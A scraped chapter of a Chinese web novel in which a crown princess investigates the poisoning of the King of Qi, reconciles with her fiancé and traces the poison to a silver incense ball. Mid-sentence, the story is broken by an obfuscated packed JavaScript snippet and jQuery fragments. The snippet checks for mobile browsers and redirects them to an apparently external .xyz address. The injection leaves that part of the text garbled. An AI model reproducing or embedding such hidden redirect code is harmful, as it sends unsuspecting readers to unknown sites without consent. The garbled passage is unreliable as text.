45. 傀儡戏(4)

作品:《摆烂!在狗血文躺赢成女帝

    想到这里,璇玑不由得翻了个身。


    不过眼下不管母皇有没有怀孕,自己最要紧的任务,还是赶紧找出凶手。


    “殿下,你说你要看书便看,何必将它们都搬到床上来呢……”书瑶一边碎碎念,一边将散落的竹简捡起来,重新整理好放于一旁,然后端来冰镇好的樱桃酥酪,“小厨房刚做好的,殿下尝尝吧,解解暑气。”


    酥酪以牛乳制成,浇了蜂蜜,表面点缀着殷红的樱桃,清凉甜蜜,向来是璇玑喜欢的夏日甜点。璇玑正要舀起一勺酥酪送进口中,想起什么,她又放下玉碗,看向书瑶:


    “书瑶,之前我拿下簪子的时候,命你将它收进妆奁里,它为何好端端会从妆奁里消失,跑到凶手那里?”


    见她语气里有责备之意,书瑶赶忙跪地:“奴婢该死,奴婢该死!齐王遇刺后,奴婢立马派人检查了殿下的妆奁,发现……”


    “发现什么?”


    书瑶低着头:“里面只有一支普通的凤鸟金钗。”


    璇玑心下凛然。


    簪中剑既然是老爹亲手制,想仿制的话,难度自然很高。但如果只是简单模仿外型,打造一支普通的凤鸟金钗,倒没什么困难。


    当日接触过簪中剑的,除了自己和书瑶外,便只有……


    齐王送来的五名媵侍。


    会是他们中的谁调换了簪中剑?


    璇玑双眸微微一眯,半晌,道:“将齐王送来的五名媵侍全部看管起来,没有本宫的允许,决不能踏出屋子半步。”


    书瑶称喏。


    等她离开,璇玑继续翻看医书。事到如今,还是齐王那边更为要紧,不过要查清楚齐王遇刺前发生了什么,先得让齐王苏醒。


    但是翻了半天医书,璇玑可以断定,寻常的甘草、绿豆、金银花、黄连这些药草,只针对轻微中毒或作为日常调理使用,就像太医令说得那样,最多缓解齐王的病情,无法根除。


    那能怎么办呢?她连齐王中了什么毒都不知道。


    太难了,实在太难了。


    她丢下医书,干脆往床后一倒,谁知不小心碰翻了装樱桃冰酪的玉碗。“啷当”一声,玉碗坠地,乳白的冰酪泼洒而出,在檀木地板上洇染开一片污渍。


    可惜了。


    璇玑正要为这道甜点而惋惜,一个念头突然闪过她脑海。


    她记得……当日在水榭,她曾闻过里面很重的百合熏香和甜点气息。太医令检查过簪中剑,剑刃无毒,那么,毒药只能是水榭之中了。


    想到这里,璇玑蹬上一双木屐就向外跑去,谁知出门时不小心撞了人,她“哎哟”一声,捂住头,谴责的话还没说出口,突然楞在原地。


    她看见公子景拎着红漆食盒,眼眸低垂,脸色微微苍白。


    食盒因为她的撞击,盖子落在地上,里面一碟藕粉桂花糖糕,全部打翻了,只有一股淡淡的清香,依旧沁人心脾。


    凝视着粉粉白白的糕点,璇玑陷入回忆。


    以前每次和公子景吵架,璇玑都倔着不肯低头,最后都是公子景亲手带着各式各样的好吃的来哄她。所以后来两人就形成了约定,只要他亲手做了吃的,她就既往不咎,权当什么都没发生过一样。


    可是这次……


    想起昨夜的情景,一股怒气再次涌上少女心头。


    他居然怀疑她!居然和别人一样怀疑她!


    他们从小一起长大,彼此的脾气秉性难道不清楚吗?更何况两人马上就要大婚,她有什么理由非要伤害他母亲!要知道他母亲也不是什么外人,是她的姑姑,是和她血脉相连的亲人!


    璇玑越想越气,把头一扭,看都不看公子景一眼,径自往前走。


    仲夏的阳光仿佛佛熔化的金子,泼洒在发烫的地上,连空气都被镀上一层灼人的光晕,他跟在她身后,没说什么话,只是亦步亦趋。


    走了一小段路,璇玑被晒得脸颊发烫,额头渗出点点汗珠,她正后悔应该直接坐步辇出行的,谁知下一秒,硕大的荷叶出现在她头顶,隔绝了晒人的阳光,带来一丝丝清凉。


    她回过头,看见公子景举着不知道什么时候摘来的荷叶,自己还暴露在灼热的阳光里,双手却紧握住荷叶柄,给她打伞。


    哼,算他有点眼力见。


    璇玑心里的怒火稍稍消散了一些,轻哼一声,“你自己也出了汗,擦擦汗吧。别到时候自己晕过去,你乳母又来赖我。”


    听见少女的嗓音,他原本有些黯淡的眼眸瞬时亮了起来,喉结上下滚了滚,半晌,才道:“我以为你再也不理我了。”


    “我可没说原谅你。”璇玑撇嘴,她才没那么好哄呢,这次两人吵架的事涉及原则性问题,绝对不是一碟子点心和一把荷叶伞能打发的。


    要知道公子景不仅仅只是她的丈夫那样简单,换而言之,有朝一日自己登基为帝,他将成为一国之父。虽然皇夫的主要职责是帮她维系后宫安稳,但就像历代前兆朝皇后一样,皇夫也拥有自己的政治影响力,万一她去世得早而新帝年幼,他必然要代替自己辅佐新帝长大。


    这样重要的位子,她不容许对方有一丝一毫的异心。


    哪怕只是简单的信任问题,也决不可以。


    如果他做不到,她还不如索性向母皇请旨,推迟婚期,再观察他几年。


    打定主意以后,璇玑依旧冷着脸,没有像平常那样露出笑容,迈开腿向前走。见她离开,公子景小步追上去,向她解释:


    “我昨晚只是太心急了……”


    璇玑猛地停下脚步。


    “我知道。”


    “但是景,我们以后会成为夫妻,可夫妻之间,最重要的不就是信任吗?”她回过头,双眸清清亮亮的,像是白水银里养着的两丸乌水银,“易而处之,如果你觉得我是你,母皇遇刺,我会怀疑你吗?”


    公子景哑然,没等他开口,璇玑便断然道:“我不会,我会相信我的丈夫不是这样的人,他不会做出任何伤害我的事。”


    少年眼眶微微泛红,低下头:“对不起……”


    看见他眼里有点点晶莹,她叹口气,忽然踮起脚尖,揪住他双颊,向揉面团一样往两边扯,“所以你是猪头,猪头,大猪头!”


    揉了半天,才松开手,继续向水榭的方向走去。


    公子景白玉般的脸颊一片通红的指印,即便如此,他仍追在璇玑后面,撑着荷叶伞为她遮挡头顶毒辣的日头。


    两人又走了一段路,他才小声问她:


    “那……殿下什么时候可以原谅我?”


    璇玑头也不回,“看你表现。”


    ————————


    因为廷尉芈問的命令,水榭四周皆有重兵看守,防止闲杂人等进入破坏现场。璇玑与公子景倒是没人敢阻拦,很轻易就放了两人进去。


    里面陈设一应如初。


    璇玑首先便用银针试过青铜爵里的蜜水,又一一碾碎碟子里的糕点,放于鼻尖轻嗅,并没有发现毒药的痕迹。再检查齐王曾呆过的躺椅和地板,同样没有发现任何异样。


    既然这些地方都没有,那会不会是香炉?


    璇玑揭开四角鎏金莲花铜炉的盖子,用银质的香勺在里面拨了拨,灰白色的香灰很干净,银勺也没有变色,说明百合香里没有毒。


    那毒到底是下在哪里了呢?


    璇玑百思不得其解。


    忽然,公子景叫住璇玑,“你看这是什么?”


    他从地上拾起一物,摊放于掌心。璇玑抬眸看去,发现是一只精致小巧的葡萄花鸟纹银香球,拇指大小,底下还系着长长的五彩流


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16436460|180860||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    苏。


    “好像是齐王姑姑之前系在玉带上当装饰用的,可能是救治她时不小心从身上脱落。”璇玑不确定地回忆道。


    公子景微微蹙眉:“奇怪,齐国的风俗向来是不喜欢在身上佩戴这些,怎么昨天母王会突然戴这个。”


    因为公子景的话,璇玑同样皱眉。


    她拿过银香球,稍稍一用力,便将它从中间掰开。


    这种银球一般是中空的,里面可以用来装香丸、香粉之类的香料,熏香的气息会透过银球镂空的花纹散发出去,令人行走时衣袂间浮动着若有似无的幽香,步步生韵,连拂过耳畔的风都染上几分清雅。


    然而此刻银香球里面空空荡荡,什么香料都没有。


    公子景从璇玑手里拿起另一半银香球嗅了嗅,“是苦参子的气息。”


    苦参子?


    对于这个毒药,璇玑有些印象。


    原著的正文里写过,当初母皇手下的一个佞臣想要帮助母皇登基,就是用的苦参子毒害幼年的自己,并栽赃给老爹,以至于母皇勃然大怒将老爹下狱,导致两人决裂。


    虽然因为老爹的重生,她现在所处的时间线里没有这件事情发生,但璇玑对苦参子这味毒药印象不可谓是不深。


    只是苦参子毒性不似一般毒药剧烈,虽会让人呕吐、腹泻、昏迷,但及时服用解药的话,对人体的损伤和后遗症都还好。除非是大剂量,才会有丧命可能。这也是当初那名佞臣用它毒害幼年皇太女的原因。


    难道……齐王所中之毒是苦参子?


    想到这里,璇玑当机立断,对公子景道:“走,我们回棠棣院。”


    棠棣院里,几位太医令正围着齐王的病榻唉声叹气,璇玑看到他们,直接问李太医:


    “什么药是针对苦参子的?”


    李太医沉吟片刻,回答:“若以甘草、绿豆、白茅根、茯苓、生姜煎成汤,每日服用,便能逐渐清除体内毒素。”


    璇玑当下便决定:“从今日开始,便用这个药方给齐王煎药。”


    又看向公子景:“我建议你最好亲自盯着,不然凶手可能会二次行凶。”


    公子景用力点头。


    李太医却面露难色:“启禀殿下,这些草药少府里虽然都有,但眼下鲜茯苓还未到进贡的季节,少府里全是些陈年老货,效用恐怕没那么好。”


    “我记得鲜茯苓是每年七月到九月采挖?”璇玑回忆道。


    李太医:“不错,鲜茯苓挖出来后,还要经过发汗、阴干的步骤,所以每年都是十一月份上供。”


    “我带人去帝都所有药铺里转一圈,看看有没有合适的鲜茯苓。”


    说完公子景就要起身,却被璇玑拉住,“齐王是你母亲,你留在这里照看她最好。这件事便交给我了,毕竟母皇的意思也是让我追查真凶的下落。”


    “可……”公子景很是有些迟疑。


    “你的母亲,同样是我的姑姑。”璇玑凝视着他,语声不疾不徐,仿佛能让人不由自主地静下心来,“即便没有母皇的旨意,我也会不惜一切代价救她的。所以,请放心。”


    公子景一时没接话,只是愣愣看她。


    片刻后,弯了弯唇,似有什么微光在他眼角闪烁,“多谢殿下。”


    不过离开棠棣院前,璇玑令一众太医退下后,对公子景道:“我不在宫里的这段时间,替我好好查一查你母亲送过来的五个媵侍。”


    公子景不解:“为何?”


    确认四周并无外人,璇玑压低声音:“还记得我和你说过的,当日我取下发簪,是因为他们五个人想看看母皇赐给我的簪中剑吗?我怀疑……凶手就在他们之间,发簪就是那会被掉包的。所以——”


    她顿了顿:“能不能从他们口中撬出话,就看你了。”